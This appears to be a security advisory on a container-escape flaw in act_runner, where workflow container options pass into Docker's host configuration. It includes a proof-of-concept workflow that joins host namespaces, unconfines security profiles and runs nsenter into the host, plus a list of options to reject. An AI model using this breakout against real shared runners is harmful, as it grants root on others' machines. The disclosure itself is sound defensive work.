act_runner appends workflow-controlled jobs.<job>.container.options directly
to the Docker HostConfig for the job container. When runner privileged mode is
disabled, only Privileged is forced false. Host namespace flags, capability
expansion, and security profile overrides from workflow YAML are preserved in
the final HostConfig. A workflow author can enter host PID/IPC namespaces and
execute commands on the runner host as root.
Source-to-sink path in act_runner:
ContainerSpec.Options accepts workflow YAML container.optionsRunContext.options() appends workflow options to runner-level container optionsPrivileged: rc.Config.Privileged but also
with Options: rc.options(ctx)mergeContainerConfigs() parses Docker CLI-style options into HostConfigcopts.privileged is forced falsesanitizeConfig() only filters Binds and MountsPrivileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
Attacker workflow YAML:
jobs:
breakout:
runs-on: ubuntu-latest
container:
image: ubuntu:22.04
options: >-
--pid=host --ipc=host --cap-add=ALL
--security-opt seccomp=unconfined
--security-opt apparmor=unconfined
steps:
- name: host namespace marker
run: |
nsenter -t 1 -m -u -i -n -p -- sh -c "id > /tmp/marker"
An attacker who can submit a workflow to a repository using a shared Docker-backed act_runner can:
Critical severity for shared runners where untrusted users can trigger workflows. High severity for single-tenant runners with privileged mode explicitly disabled as a security control.
Treat container.options as untrusted input. Reject or strip when
privileged mode is disabled:
--pid=host, --ipc=host, --uts=host, --network=host--cap-add ALL, --cap-add SYS_ADMIN--security-opt seccomp=unconfined, --security-opt apparmor=unconfined--device, --device-cgroup-rule--volumes-from--runtime, --cgroup-parent{
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T23:18:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
}